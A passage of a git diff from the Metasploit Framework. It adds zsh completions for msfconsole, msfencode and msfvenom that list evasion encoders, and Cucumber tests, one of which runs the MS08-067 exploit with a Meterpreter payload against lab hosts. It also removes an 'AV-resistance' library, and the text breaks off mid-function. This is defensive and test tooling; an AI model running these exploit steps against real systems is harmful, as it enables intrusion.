inject_dll( DWORD dwPid, LPVOID lpDllBuffer, DWORD dwDllLenght ); //===============================================================================================// #endif -//===============================================================================================// \ No newline at end of file +//===============================================================================================// diff --git a/external/source/vncdll/vncdll/loader.h b/external/source/vncdll/vncdll/loader.h index b93ccf9c3e..3671c1ddcf 100644 --- a/external/source/vncdll/vncdll/loader.h +++ b/external/source/vncdll/vncdll/loader.h @@ -1,4 +1,4 @@ -// Copyright (C) 2006-2010, Rapid7 LLC +// Copyright (C) 2006-2010, Rapid7, Inc // All rights reserved. // // Redistribution and use in source and binary forms, with or without modification, @@ -11,7 +11,7 @@ // this list of conditions and the following disclaimer in the documentation // and/or other materials provided with the distribution. // -// * Neither the name of Rapid7 LLC nor the names of its contributors +// * Neither the name of Rapid7, Inc nor the names of its contributors // may be used to endorse or promote products derived from this software // without specific prior written permission. // diff --git a/external/source/vncdll/vncdll/ps.h b/external/source/vncdll/vncdll/ps.h index 6daab69570..be2c7733d9 100644 --- a/external/source/vncdll/vncdll/ps.h +++ b/external/source/vncdll/vncdll/ps.h @@ -1,4 +1,4 @@ -// Copyright (C) 2006-2010, Rapid7 LLC +// Copyright (C) 2006-2010, Rapid7, Inc // All rights reserved. // // Redistribution and use in source and binary forms, with or without modification, @@ -11,7 +11,7 @@ // this list of conditions and the following disclaimer in the documentation // and/or other materials provided with the distribution. // -// * Neither the name of Rapid7 LLC nor the names of its contributors +// * Neither the name of Rapid7, Inc nor the names of its contributors // may be used to endorse or promote products derived from this software // without specific prior written permission. // @@ -74,4 +74,4 @@ DWORD ps_getnativearch( VOID ); //===============================================================================================// #endif -//===============================================================================================// \ No newline at end of file +//===============================================================================================// diff --git a/external/source/vncdll/vncdll/session.h b/external/source/vncdll/vncdll/session.h index 7272f9ff0d..67f89f3713 100644 --- a/external/source/vncdll/vncdll/session.h +++ b/external/source/vncdll/vncdll/session.h @@ -1,4 +1,4 @@ -// Copyright (C) 2006-2010, Rapid7 LLC +// Copyright (C) 2006-2010, Rapid7, Inc // All rights reserved. // // Redistribution and use in source and binary forms, with or without modification, @@ -11,7 +11,7 @@ // this list of conditions and the following disclaimer in the documentation // and/or other materials provided with the distribution. // -// * Neither the name of Rapid7 LLC nor the names of its contributors +// * Neither the name of Rapid7, Inc nor the names of its contributors // may be used to endorse or promote products derived from this software // without specific prior written permission. // @@ -39,4 +39,4 @@ DWORD session_inject( DWORD dwSessionId, DLL_BUFFER * pDllBuffer ); //===============================================================================================// #endif -//===============================================================================================// \ No newline at end of file +//===============================================================================================// diff --git a/external/zsh/README.md b/external/zsh/README.md new file mode 100644 index 0000000000..255cb4dcab --- /dev/null +++ b/external/zsh/README.md @@ -0,0 +1,3 @@ +Metasploit completion definitions for zsh. The directory containing the +completion files needs to be added to the ```$fpath``` environment variable, +this is usually done in the ```~/.zshrc``` file. diff --git a/external/zsh/_msfconsole b/external/zsh/_msfconsole new file mode 100644 index 0000000000..060d943dc9 --- /dev/null +++ b/external/zsh/_msfconsole @@ -0,0 +1,39 @@ +#compdef msfconsole +# ------------------------------------------------------------------------------ +# License +# ------- +# This file is part of the Metasploit Framework and is released under the MSF +# License, please see the COPYING file for more details. +# +# ------------------------------------------------------------------------------ +# Description +# ----------- +# +# Completion script for the Metasploit Framework's msfconsole command +# (http://www.metasploit.com/). +# +# ------------------------------------------------------------------------------ +# Authors +# ------- +# +# * Spencer McIntyre +# +# ------------------------------------------------------------------------------ + +_arguments \ + {-a,--ask}"[Ask before exiting Metasploit or accept 'exit -y']" \ + "-c[Load the specified configuration file]:configuration file:_files" \ + {-d,--defanged}"[Execute the console as defanged]" \ + {-E,--environment}"[Specify the database environment to load from the configuration]:environment:(production development)" \ + {-h,--help}"[Show help text]" \ + {-L,--real-readline}"[Use the system Readline library instead of RbReadline]" \ + {-M,--migration-path}"[Specify a directory containing additional DB migrations]:directory:_files -/" \ + {-m,--module-path}"[Specifies an additional module search path]:search path:_files -/" \ + {-n,--no-database}"[Disable database support]" \ + {-o,--output}"[Output to the specified file]:output file" \ + {-p,--plugin}"[Load a plugin on startup]:plugin file:_files" \ + {-q,--quiet}"[Do not print the banner on start up]" \ + {-r,--resource}"[Execute the specified resource file (- for stdin)]:resource file:_files" \ + {-v,--version}"[Show version]" \ + {-x,--execute-command}"[Execute the specified string as console commands]:commands" \ + {-y,--yaml}"[Specify a YAML file containing database settings]:yaml file:_files" diff --git a/external/zsh/_msfencode b/external/zsh/_msfencode new file mode 100644 index 0000000000..b0dca78c05 --- /dev/null +++ b/external/zsh/_msfencode @@ -0,0 +1,82 @@ +#compdef msfencode +# ------------------------------------------------------------------------------ +# License +# ------- +# This file is part of the Metasploit Framework and is released under the MSF +# License, please see the COPYING file for more details. +# +# ------------------------------------------------------------------------------ +# Description +# ----------- +# +# Completion script for the Metasploit Framework's msfencode command +# (http://www.metasploit.com/). +# +# ------------------------------------------------------------------------------ +# Authors +# ------- +# +# * Spencer McIntyre +# +# ------------------------------------------------------------------------------ + +_msfencode_encoders_list=( + 'cmd/generic_sh' + 'cmd/ifs' + 'cmd/powershell_base64' + 'cmd/printf_php_mq' + 'generic/eicar' + 'generic/none' + 'mipsbe/byte_xori' + 'mipsbe/longxor' + 'mipsle/byte_xori' + 'mipsle/longxor' + 'php/base64' + 'ppc/longxor' + 'ppc/longxor_tag' + 'sparc/longxor_tag' + 'x64/xor' + 'x86/add_sub' + 'x86/alpha_mixed' + 'x86/alpha_upper' + 'x86/avoid_underscore_tolower' + 'x86/avoid_utf8_tolower' + 'x86/bloxor' + 'x86/call4_dword_xor' + 'x86/context_cpuid' + 'x86/context_stat' + 'x86/context_time' + 'x86/countdown' + 'x86/fnstenv_mov' + 'x86/jmp_call_additive' + 'x86/nonalpha' + 'x86/nonupper' + 'x86/opt_sub' + 'x86/shikata_ga_nai' + 'x86/single_static_bit' + 'x86/unicode_mixed' + 'x86/unicode_upper' +) + +_msfencode_encoder() { + _describe -t encoders 'available encoders' _msfencode_encoders_list || compadd "$@" +} + +_arguments \ + "-a[The architecture to encode as]:architecture:(cmd generic mipsbe mipsle php ppc sparc x64 x86)" \ + "-b[The list of characters to avoid, example: '\x00\xff']:bad characters" \ + "-c[The number of times to encode the data]:times" \ + "-d[Specify the directory in which to look for EXE templates]:template file:_files -/" \ + "-e[The encoder to use]:encoder:_msfencode_encoder" \ + "-h[Help banner]" \ + "-i[Encode the contents of the supplied file path]:input file:_files" \ + "-k[Keep template working; run payload in new thread (use with -x)]" \ + "-l[List available encoders]" \ + "-m[Specifies an additional module search path]:module path:_files -/" \ + "-n[Dump encoder information]" \ + "-o[The output file]:output file" \ + "-p[The platform to encode for]:target platform:(android bsd bsdi java linux netware nodejs osx php python ruby solaris unix win)" \ + "-s[The maximum size of the encoded data]:maximum size" \ + "-t[The output format]:output format:(bash c csharp dw dword java js_be js_le num perl pl powershell ps1 py python raw rb ruby sh vbapplication vbscript asp aspx aspx-exe dll elf exe exe-only exe-service exe-small loop-vbs macho msi msi-nouac osx-app psh psh-net psh-reflection vba vba-exe vbs war)" \ + "-v[Increase verbosity]" \ + "-x[Specify an alternate executable template]:template file:_files" diff --git a/external/zsh/_msfvenom b/external/zsh/_msfvenom new file mode 100644 index 0000000000..29bb4137a0 --- /dev/null +++ b/external/zsh/_msfvenom @@ -0,0 +1,81 @@ +#compdef msfvenom +# ------------------------------------------------------------------------------ +# License +# ------- +# This file is part of the Metasploit Framework and is released under the MSF +# License, please see the COPYING file for more details. +# +# ------------------------------------------------------------------------------ +# Description +# ----------- +# +# Completion script for the Metasploit Framework's msfvenom command +# (http://www.metasploit.com/). +# +# ------------------------------------------------------------------------------ +# Authors +# ------- +# +# * Spencer McIntyre +# +# ------------------------------------------------------------------------------ + +_msfvenom_encoders_list=( + 'cmd/generic_sh' + 'cmd/ifs' + 'cmd/powershell_base64' + 'cmd/printf_php_mq' + 'generic/eicar' + 'generic/none' + 'mipsbe/byte_xori' + 'mipsbe/longxor' + 'mipsle/byte_xori' + 'mipsle/longxor' + 'php/base64' + 'ppc/longxor' + 'ppc/longxor_tag' + 'sparc/longxor_tag' + 'x64/xor' + 'x86/add_sub' + 'x86/alpha_mixed' + 'x86/alpha_upper' + 'x86/avoid_underscore_tolower' + 'x86/avoid_utf8_tolower' + 'x86/bloxor' + 'x86/call4_dword_xor' + 'x86/context_cpuid' + 'x86/context_stat' + 'x86/context_time' + 'x86/countdown' + 'x86/fnstenv_mov' + 'x86/jmp_call_additive' + 'x86/nonalpha' + 'x86/nonupper' + 'x86/opt_sub' + 'x86/shikata_ga_nai' + 'x86/single_static_bit' + 'x86/unicode_mixed' + 'x86/unicode_upper' +) + +_msfvenom_encoder() { + _describe -t encoders 'available encoders' _msfvenom_encoders_list || compadd "$@" +} + +_arguments \ + {-a,--arch}"[The architecture to encode as]:architecture:(cmd generic mipsbe mipsle php ppc sparc x64 x86)" \ + {-b,--bad-chars}"[The list of characters to avoid, example: '\x00\xff']:bad characters" \ + {-c,--add-code}"[Specify an additional win32 shellcode file to include]:shellcode file:_files" \ + {-e,--encoder}"[The encoder to use]:encoder:_msfvenom_encoder" \ + {-f,--format}"[Output format]:output format:(bash c csharp dw dword java js_be js_le num perl pl powershell ps1 py python raw rb ruby sh vbapplication vbscript asp aspx aspx-exe dll elf exe exe-only exe-service exe-small loop-vbs macho msi msi-nouac osx-app psh psh-net psh-reflection vba vba-exe vbs war)" \ + "--help-formats[List available formats]" \ + {-h,--help}"[Help banner]" \ + {-i,--iterations}"[The number of times to encode the payload]:iterations" \ + {-k,--keep}"[Preserve the template behavior and inject the payload as a new thread]" \ + {-l,--list}"[List a module type]:module type:(all encoders nops payloads)" \ + {-n,--nopsled}"[Prepend a nopsled of length size on to the payload]:nopsled length" \ + {-o,--options}"[List the payload's standard options]" \ + "--platform[The platform to encode for]:target platform:(android bsd bsdi java linux netware nodejs osx php python ruby solaris unix win)" \ + {-p,--payload}"[Payload to use. Specify a '-' or stdin to use custom payloads]:payload" \ + {-s,--space}"[The maximum size of the resulting payload]:length" \ + {-x,--template}"[Specify an alternate executable template]:template file:_files" diff --git a/features/commands/help.feature b/features/commands/help.feature new file mode 100644 index 0000000000..5bea94a35c --- /dev/null +++ b/features/commands/help.feature @@ -0,0 +1,77 @@ +Feature: Help command + + Background: + Given I run `msfconsole --defer-module-loads -x help -x exit` + + Scenario: The 'help' command's output + Then the output should contain: + """ + Core Commands + ============= + + Command Description + ------- ----------- + ? Help menu + back Move back from the current context + banner Display an awesome metasploit banner + cd Change the current working directory + color Toggle color + connect Communicate with a host + edit Edit the current module with $VISUAL or $EDITOR + exit Exit the console + get Gets the value of a context-specific variable + getg Gets the value of a global variable + go_pro Launch Metasploit web GUI + grep Grep the output of another command + help Help menu + info Displays information about one or more module + irb Drop into irb scripting mode + jobs Displays and manages jobs + kill Kill a job + load Load a framework plugin + loadpath Searches for and loads modules from a path + makerc Save commands entered since start to a file + popm Pops the latest module off the stack and makes it active + previous Sets the previously loaded module as the current module + pushm Pushes the active or list of modules onto the module stack + quit Exit the console + reload_all Reloads all modules from all defined module paths + resource Run the commands stored in a file + route Route traffic through a session + save Saves the active datastores + search Searches module names and descriptions + sessions Dump session listings and display information about sessions + set Sets a context-specific variable to a value + setg Sets a global variable to a value + show Displays modules of a given type, or all modules + sleep Do nothing for the specified number of seconds + spool Write console output into a file as well the screen + threads View and manipulate background threads + unload Unload a framework plugin + unset Unsets one or more context-specific variables + unsetg Unsets one or more global variables + use Selects a module by name + version Show the framework and console library version numbers + + + Database Backend Commands + ========================= + + Command Description + ------- ----------- + creds List all credentials in the database + db_connect Connect to an existing database + db_disconnect Disconnect from the current database instance + db_export Export a file containing the contents of the database + db_import Import a scan result file (filetype will be auto-detected) + db_nmap Executes nmap and records the output automatically + db_rebuild_cache Rebuilds the database-stored module cache + db_status Show the current database status + hosts List all hosts in the database + loot List all loot in the database + notes List all notes in the database + services List all services in the database + vulns List all vulnerabilities in the database + workspace Switch between database workspaces + """ + diff --git a/features/modules/exploit/smb/ms08_067_netapi.feature b/features/modules/exploit/smb/ms08_067_netapi.feature new file mode 100644 index 0000000000..f8c30e7e59 --- /dev/null +++ b/features/modules/exploit/smb/ms08_067_netapi.feature @@ -0,0 +1,181 @@ +@wip +Feature: MS08-067 netapi + + Background: + Given a directory named "home" + And I cd to "home" + And a mocked home directory + Given I run `msfconsole` interactively + And I wait for stdout to contain "Free Metasploit Pro trial: http://r-7.co/trymsp" + + Scenario: The MS08-067 Module should have the following options + When I type "use exploit/windows/smb/ms08_067_netapi" + And I type "show options" + And I type "exit" + Then the output should contain: + """ + Module options (exploit/windows/smb/ms08_067_netapi): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + RHOST yes The target address + RPORT 445 yes Set the SMB service port + SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC) + + + Exploit target: + + Id Name + -- ---- + 0 Automatic Targeting + + """ + + Scenario: The MS08-067 Module should have the following advanced options + When I type "use exploit/windows/smb/ms08_067_netapi" + And I type "show advanced" + And I type "exit" + Then the output should contain: + """ + Module advanced options: + + Name : CHOST + Current Setting: + Description : The local client address + + Name : CPORT + Current Setting: + Description : The local client port + + Name : ConnectTimeout + Current Setting: 10 + Description : Maximum number of seconds to establish a TCP connection + + Name : ContextInformationFile + Current Setting: + Description : The information file that contains context information + + Name : DCERPC::ReadTimeout + Current Setting: 10 + Description : The number of seconds to wait for DCERPC responses + + Name : DisablePayloadHandler + Current Setting: false + Description : Disable the handler code for the selected payload + + Name : EnableContextEncoding + Current Setting: false + Description : Use transient context when encoding payloads + + Name : NTLM::SendLM + Current Setting: true + Description : Always send the LANMAN response (except when NTLMv2_session is + specified) + + Name : NTLM::SendNTLM + Current Setting: true + Description : Activate the 'Negotiate NTLM key' flag, indicating the use of + NTLM responses + + Name : NTLM::SendSPN + Current Setting: true + Description : Send an avp of type SPN in the ntlmv2 client Blob, this allow + authentification on windows Seven/2008r2 when SPN is required + + Name : NTLM::UseLMKey + Current Setting: false + Description : Activate the 'Negotiate Lan Manager Key' flag, using the LM key + when the LM response is sent + + Name : NTLM::UseNTLM2_session + Current Setting: true + Description : Activate the 'Negotiate NTLM2 key' flag, forcing the use of a + NTLMv2_session + + Name : NTLM::UseNTLMv2 + Current Setting: true + Description : Use NTLMv2 instead of NTLM2_session when 'Negotiate NTLM2' key + is true + + Name : Proxies + Current Setting: + Description : A proxy chain of format type:host:port[,type:host:port][...] + + Name : SMB::ChunkSize + Current Setting: 500 + Description : The chunk size for SMB segments, bigger values will increase + speed but break NT 4.0 and SMB signing + + Name : SMB::Native_LM + Current Setting: Windows 2000 5.0 + Description : The Native LM to send during authentication + + Name : SMB::Native_OS + Current Setting: Windows 2000 2195 + Description : The Native OS to send during authentication + + Name : SMB::VerifySignature + Current Setting: false + Description : Enforces client-side verification of server response signatures + + Name : SMBDirect + Current Setting: true + Description : The target port is a raw SMB service (not NetBIOS) + + Name : SMBDomain + Current Setting: . + Description : The Windows domain to use for authentication + + Name : SMBName + Current Setting: *SMBSERVER + Description : The NetBIOS hostname (required for port 139 connections) + + Name : SMBPass + Current Setting: + Description : The password for the specified username + + Name : SMBUser + Current Setting: + Description : The username to authenticate as + + Name : SSL + Current Setting: false + Description : Negotiate SSL for outgoing connections + + Name : SSLCipher + Current Setting: + Description : String for SSL cipher - "DHE-RSA-AES256-SHA" or "ADH" + + Name : SSLVerifyMode + Current Setting: PEER + Description : SSL verification method (accepted: CLIENT_ONCE, + FAIL_IF_NO_PEER_CERT, NONE, PEER) + + Name : SSLVersion + Current Setting: SSL3 + Description : Specify the version of SSL that should be used (accepted: SSL2, + SSL3, TLS1) + + Name : VERBOSE + Current Setting: false + Description : Enable detailed status messages + + Name : WORKSPACE + Current Setting: + Description : Specify the workspace for this module + + Name : WfsDelay + Current Setting: 0 + Description : Additional delay when waiting for a session + """ + + @targets + Scenario: Show RHOST/etc variable expansion from a config file + When I type "use exploit/windows/smb/ms08_067_netapi" + When RHOST is WINDOWS + And I type "set PAYLOAD windows/meterpreter/bind_tcp" + And I type "show options" + And I type "run" + And I type "exit" + And I type "exit" + Then the output should match /spider-wxp/ diff --git a/features/msfconsole/database_yml.feature b/features/msfconsole/database_yml.feature new file mode 100644 index 0000000000..ff4eb68307 --- /dev/null +++ b/features/msfconsole/database_yml.feature @@ -0,0 +1,153 @@ +@boot +Feature: `msfconsole` `database.yml` + + In order to connect to the database in `msfconsole` + As a user calling `msfconsole` from a terminal + I want to be able to set the path of the `database.yml` in one of 4 locations (in order of precedence): + + 1. An explicit argument to the `-y` flag to `msfconsole` + 2. The MSF_DATABASE_CONFIG environment variable + 3. The user's `~/.msf4/database.yml` + 4. `config/database.yml` in the metasploit-framework checkout location. + + Scenario: With all 4 locations, --yaml wins + Given a file named "command_line.yml" with: + """ + test: + adapter: postgresql + database: command_line_metasploit_framework_test + username: command_line_metasploit_framework_test + """ + And a file named "msf_database_config.yml" with: + """ + test: + adapter: postgresql + database: environment_metasploit_framework_test + username: environment_metasploit_framework_test + """ + And I set the environment variables to: + | variable | value | + | MSF_DATABASE_CONFIG | msf_database_config.yml | + And a directory named "home" + And I cd to "home" + And a mocked home directory + And a directory named ".msf4" + And I cd to ".msf4" + And a file named "database.yml" with: + """ + test: + adapter: postgresql + database: user_metasploit_framework_test + username: user_metasploit_framework_test + """ + And I cd to "../.." + And the project "database.yml" exists with: + """ + test: + adapter: postgresql + database: project_metasploit_framework_test + username: project_metasploit_framework_test + """ + When I run `msfconsole --defer-module-loads --environment test --execute-command exit --yaml command_line.yml` + Then the output should contain "command_line_metasploit_framework_test" + + Scenario: Without --yaml, MSF_DATABASE_CONFIG wins + Given a file named "msf_database_config.yml" with: + """ + test: + adapter: postgresql + database: environment_metasploit_framework_test + username: environment_metasploit_framework_test + """ + And I set the environment variables to: + | variable | value | + | MSF_DATABASE_CONFIG | msf_database_config.yml | + And a directory named "home" + And I cd to "home" + And a mocked home directory + And a directory named ".msf4" + And I cd to ".msf4" + And a file named "database.yml" with: + """ + test: + adapter: postgresql + database: user_metasploit_framework_test + username: user_metasploit_framework_test + """ + And I cd to "../.." + And the project "database.yml" exists with: + """ + test: + adapter: postgresql + database: project_metasploit_framework_test + username: project_metasploit_framework_test + """ + When I run `msfconsole --defer-module-loads --environment test --execute-command exit` + Then the output should contain "environment_metasploit_framework_test" + + Scenario: Without --yaml or MSF_DATABASE_CONFIG, ~/.msf4/database.yml wins + Given I unset the environment variables: + | variable | + | MSF_DATABASE_CONFIG | + And a directory named "home" + And I cd to "home" + And a mocked home directory + And a directory named ".msf4" + And I cd to ".msf4" + And a file named "database.yml" with: + """ + test: + adapter: postgresql + database: user_metasploit_framework_test + username: user_metasploit_framework_test + """ + And I cd to "../.." + And the project "database.yml" exists with: + """ + test: + adapter: postgresql + database: project_metasploit_framework_test + username: project_metasploit_framework_test + """ + When I run `msfconsole --defer-module-loads --environment test --execute-command exit` + Then the output should contain "user_metasploit_framework_test" + + Scenario: Without --yaml, MSF_DATABASE_CONFIG or ~/.msf4/database.yml, project "database.yml" wins + Given I unset the environment variables: + | variable | + | MSF_DATABASE_CONFIG | + And a directory named "home" + And I cd to "home" + And a mocked home directory + And I cd to "../.." + And the project "database.yml" exists with: + """ + test: + adapter: postgresql + database: project_metasploit_framework_test + username: project_metasploit_framework_test + """ + When I run `msfconsole --defer-module-loads --environment test --execute-command exit` + Then the output should contain "project_metasploit_framework_test" + + + Scenario: Without --yaml, MSF_DATABASE_CONFIG, ~/.msf4/database.yml, or project "database.yml", no database connection + Given I unset the environment variables: + | variable | + | MSF_DATABASE_CONFIG | + And a directory named "home" + And I cd to "home" + And a mocked home directory + And I cd to "../.." + And the project "database.yml" does not exist + When I run `msfconsole --defer-module-loads --environment test --execute-command db_status --execute-command exit` + Then the output should not contain "command_line_metasploit_framework_test" + And the output should not contain "environment_metasploit_framework_test" + And the output should not contain "user_metasploit_framework_test" + And the output should not contain "project_metasploit_framework_test" + And the output should contain "[*] postgresql selected, no connection" + + Scenario: Starting `msfconsole` with a valid database.yml + When I run `msfconsole --defer-module-loads --execute-command db_status --execute-command exit` + Then the output should contain "[*] postgresql connected to metasploit_framework_test" + diff --git a/features/step_definitions/environment_variables.rb b/features/step_definitions/environment_variables.rb new file mode 100644 index 0000000000..c554ca0264 --- /dev/null +++ b/features/step_definitions/environment_variables.rb @@ -0,0 +1,20 @@ +Given /^I unset the environment variables:$/ do |table| + table.hashes.each do |row| + variable = row['variable'].to_s.upcase + + # @todo add extension to Announcer + announcer.instance_eval do + if @options[:env] + print "$ unset #{variable}" + end + end + + current_value = ENV.delete(variable) + + # if original_env already has the key, then the true original was already recorded from a previous unset or set, + # so don't record the current value as it will cause ENV not to be restored after the Scenario. + unless original_env.key? variable + original_env[variable] = current_value + end + end +end \ No newline at end of file diff --git a/features/step_definitions/project.rb b/features/step_definitions/project.rb new file mode 100644 index 0000000000..9e9ffa552a --- /dev/null +++ b/features/step_definitions/project.rb @@ -0,0 +1,14 @@ +require 'metasploit/framework/database/cucumber' + +Given /^the project "database.yml" does not exist$/ do + Metasploit::Framework::Database::Cucumber.backup_project_configurations +end + +Given /^the project "database.yml" exists with:$/ do |file_content| + Metasploit::Framework::Database::Cucumber.backup_project_configurations + write_file(Metasploit::Framework::Database::Cucumber.project_configurations_path, file_content) +end + +After do + Metasploit::Framework::Database::Cucumber.restore_project_configurations +end \ No newline at end of file diff --git a/features/step_definitions/targets.rb b/features/step_definitions/targets.rb new file mode 100644 index 0000000000..7c14393d0e --- /dev/null +++ b/features/step_definitions/targets.rb @@ -0,0 +1,10 @@ +When /^targets are loaded$/ do + config_file = File.expand_path('features/support/targets.yml') + fail "Target config file #{config_file} does not exist" unless File.exists?(config_file) + @target_config = YAML.load_file(config_file) +end + +When /^(RHOSTS?) (?:are|is) (\S+)$/ do |type, target_type| + fail "No target type #{target_type}" unless @target_config.key?(target_type) + step "I type \"set #{type} #{@target_config[target_type]}\"" +end diff --git a/features/support/bin/stty b/features/support/bin/stty new file mode 100755 index 0000000000..8ff68bb1c5 --- /dev/null +++ b/features/support/bin/stty @@ -0,0 +1,26 @@ +#!/usr/bin/env ruby + +case ARGV[0] + when 'size' + puts "30 134" + when '-a' + puts <; + eol2 = ; erase = ^?; intr = ^C; kill = ^U; lnext = ^V; + min = 1; quit = ^\; reprint = ^R; start = ^Q; status = ^T; + stop = ^S; susp = ^Z; time = 0; werase = ^W; +EOS + when '-g' + puts "gfmt1:cflag=4b00:iflag=6b02:lflag=200005cf:oflag=3:discard=f:dsusp=19:eof=4:eol=ff:eol2=ff:erase=7f:intr=3:kill=15:lnext=16:min=1:quit=1c:reprint=12:start=11:status=14:stop=13:susp=1a:time=0:werase=17:ispeed=38400:ospeed=38400" +end + +exit 0 diff --git a/features/support/env.rb b/features/support/env.rb new file mode 100644 index 0000000000..6d186f405f --- /dev/null +++ b/features/support/env.rb @@ -0,0 +1,34 @@ +# @note `require 'simplecov'` is not used here because all features currently use external `msfconsole` process, so only +# that child process needs to load 'simplecov'. + +# IMPORTANT: This file is generated by cucumber-rails - edit at your own peril. +# It is recommended to regenerate this file in the future when you upgrade to a +# newer version of cucumber-rails. Consider adding your own code to a new file +# instead of editing this one. Cucumber will automatically load all features/**/*.rb +# files. + +require 'cucumber/rails' +require 'aruba/cucumber' + +# Capybara defaults to XPath selectors rather than Webrat's default of CSS3. In +# order to ease the transition to Capybara we set the default here. If you'd +# prefer to use XPath just remove this line and adjust any selectors in your +# steps to use the XPath syntax. +Capybara.default_selector = :css + +# By default, any exception happening in your Rails application will bubble up +# to Cucumber so that your scenario will fail. This is a different from how +# your application behaves in the production environment, where an error page will +# be rendered instead. +# +# Sometimes we want to override this default behaviour and allow Rails to rescue +# exceptions and display an error page (just like when the app is running in production). +# Typical scenarios where you want to do this is when you test your error pages. +# There are two ways to allow Rails to rescue exceptions: +# +# 1) Tag your scenario (or feature) with @allow-rescue +# +# 2) Set the value below to true. Beware that doing this globally is not +# recommended as it will mask a lot of errors for you! +# +ActionController::Base.allow_rescue = false diff --git a/features/support/hooks.rb b/features/support/hooks.rb new file mode 100644 index 0000000000..ff8ec3133c --- /dev/null +++ b/features/support/hooks.rb @@ -0,0 +1,29 @@ +Before do + set_env('MSF_DATBASE_CONFIG', Rails.configuration.paths['config/database'].existent.first) + set_env('RAILS_ENV', 'test') + @aruba_timeout_seconds = 8.minutes +end + +# don't setup child processes to load simplecov_setup.rb if simplecov isn't installed +unless Bundler.settings.without.include?(:coverage) + Before do |scenario| + command_name = case scenario + when Cucumber::Ast::Scenario, Cucumber::Ast::ScenarioOutline + "#{scenario.feature.title} #{scenario.name}" + when Cucumber::Ast::OutlineTable::ExampleRow + scenario_outline = scenario.scenario_outline + + "#{scenario_outline.feature.title} #{scenario_outline.name} #{scenario.name}" + else + raise TypeError, "Don't know how to extract command name from #{scenario.class}" + end + + # Used in simplecov_setup so that each scenario has a different name and their coverage results are merged instead + # of overwriting each other as 'Cucumber Features' + set_env('SIMPLECOV_COMMAND_NAME', command_name) + + simplecov_setup_pathname = Pathname.new(__FILE__).expand_path.parent.join('simplecov_setup') + # set environment variable so child processes will merge their coverage data with parent process's coverage data. + set_env('RUBYOPT', "#{ENV['RUBYOPT']} -r#{simplecov_setup_pathname}") + end +end diff --git a/features/support/simplecov_setup.rb b/features/support/simplecov_setup.rb new file mode 100644 index 0000000000..78cc264fc3 --- /dev/null +++ b/features/support/simplecov_setup.rb @@ -0,0 +1,16 @@ +# @note this file is loaded in env.rb to setup simplecov using RUBYOPTs for child processes + +simplecov_command_name = ENV['SIMPLECOV_COMMAND_NAME'] + +# will not be set if hook does not run because `bundle install --without coverage` +if simplecov_command_name + require 'simplecov' + + require 'pathname' + + root = Pathname(__FILE__).expand_path.parent.parent.parent + + SimpleCov.command_name(simplecov_command_name) + SimpleCov.root(root) + load root.join('.simplecov') +end diff --git a/features/support/stty.rb b/features/support/stty.rb new file mode 100644 index 0000000000..a8afb704c4 --- /dev/null +++ b/features/support/stty.rb @@ -0,0 +1,11 @@ +require 'pathname' + +support = Pathname.new(__FILE__).realpath.parent + +paths = [ + # adds support/bin at the front of the path so that the support/bin/stty script will be used to fake system stty + # output. + support.join('bin').to_path, + ENV['PATH'] +] +ENV['PATH'] = paths.join(File::PATH_SEPARATOR) diff --git a/features/support/targets.yml.example b/features/support/targets.yml.example new file mode 100644 index 0000000000..75f4b9915d --- /dev/null +++ b/features/support/targets.yml.example @@ -0,0 +1,2 @@ +WINDOWS: spider-wxp.vuln.lax.rapid7.com +LINUX: spider-ubuntu.vuln.lax.rapid7.com diff --git a/lib/bit-struct/octet-field.rb b/lib/bit-struct/octet-field.rb index 5967967fc8..1281a136a5 100644 --- a/lib/bit-struct/octet-field.rb +++ b/lib/bit-struct/octet-field.rb @@ -37,7 +37,7 @@ class BitStruct old_writer = "#{attr_chars}=" define_method "#{attr}=" do |val| - data = val.split(sep).map{|s|s.to_i(base)}.pack("c*") + data = val.split(sep).map{|s|s.to_i(base)}.pack("C*") send(old_writer, data) end end diff --git a/lib/fastlib.rb b/lib/fastlib.rb deleted file mode 100755 index efbff68c29..0000000000 --- a/lib/fastlib.rb +++ /dev/null @@ -1,429 +0,0 @@ -#!/usr/bin/env ruby -# -*- coding: binary -*- - -# -# FASTLIB is a mechanism for loading large sets of libraries in a way that is -# faster and much more flexible than typical disk structures. FASTLIB includes -# hooks that can be used for both compression and encoding of Ruby libraries. -# - -# -# This format was specifically created to improve the performance and -# AV-resistance of the Metasploit Framework and Rex libraries. -# - - -# -# This library is still in its early form; a large number of performance and -# compatiblity improvements are not yet included. Do not depend on the FASTLIB -# file format at this time. -# - -require "find" - - -# -# Copyright (C) 2011 Rapid7. You can redistribute it and/or -# modify it under the terms of the ruby license. -# -# -# Roughly based on the rubyzip zip/ziprequire library: -# >> Copyright (C) 2002 Thomas Sondergaard -# >> rubyzip is free software; you can redistribute it and/or -# >> modify it under the terms of the ruby license. - - -# -# The FastLib class implements the meat of the FASTLIB archive format -# -class FastLib - - VERSION = "0.0.8" - - FLAG_COMPRESS = 0x01 - FLAG_ENCRYPT = 0x02 - - @@cache = {} - @@has_zlib = false - - # - # Load zlib support if possible - # - begin - require 'zlib' - @@has_zlib = true - rescue ::LoadError - end - - # - # This method returns the version of the fastlib library - # - def self.version - VERSION - end - - # - # This method loads content from a specific archive file by name. If the - # noprocess argument is set to true, the contents will not be expanded to - # include workarounds for things such as __FILE__. This is useful when - # loading raw binary data where these strings may occur - # - def self.load(lib, name, noprocess=false) - data = "" - load_cache(lib) - - return unless ( @@cache[lib] and @@cache[lib][name] ) - - - ::File.open(lib, "rb") do |fd| - fd.seek( - @@cache[lib][:fastlib_header][0] + - @@cache[lib][:fastlib_header][1] + - @@cache[lib][name][0] - ) - data = fastlib_filter_decode( lib, fd.read(@@cache[lib][name][1] )) - end - - # Return the contents in raw or processed form - noprocess ? data : post_process(lib, name, data) - end - - # - # This method caches the file list and offsets within the archive - # - def self.load_cache(lib) - return if @@cache[lib] - @@cache[lib] = {} - - return if not ::File.exists?(lib) - - ::File.open(lib, 'rb') do |fd| - dict = {} - head = fd.read(4) - return if head != "FAST" - hlen = fd.read(4).unpack("N")[0] - flag = fd.read(4).unpack("N")[0] - - @@cache[lib][:fastlib_header] = [12, hlen, fd.stat.mtime.utc.to_i ] - @@cache[lib][:fastlib_flags] = flag - - nlen, doff, dlen, tims = fd.read(16).unpack("N*") - - while nlen > 0 - name = fastlib_filter_decode( lib, fd.read(nlen) ) - dict[name] = [doff, dlen, tims] - - nlen, doff, dlen, tims = fd.read(16).unpack("N*") - end - - @@cache[lib].merge!(dict) - end - - end - - # - # This method provides compression and encryption capabilities - # for the fastlib archive format. - # - def self.fastlib_filter_decode(lib, 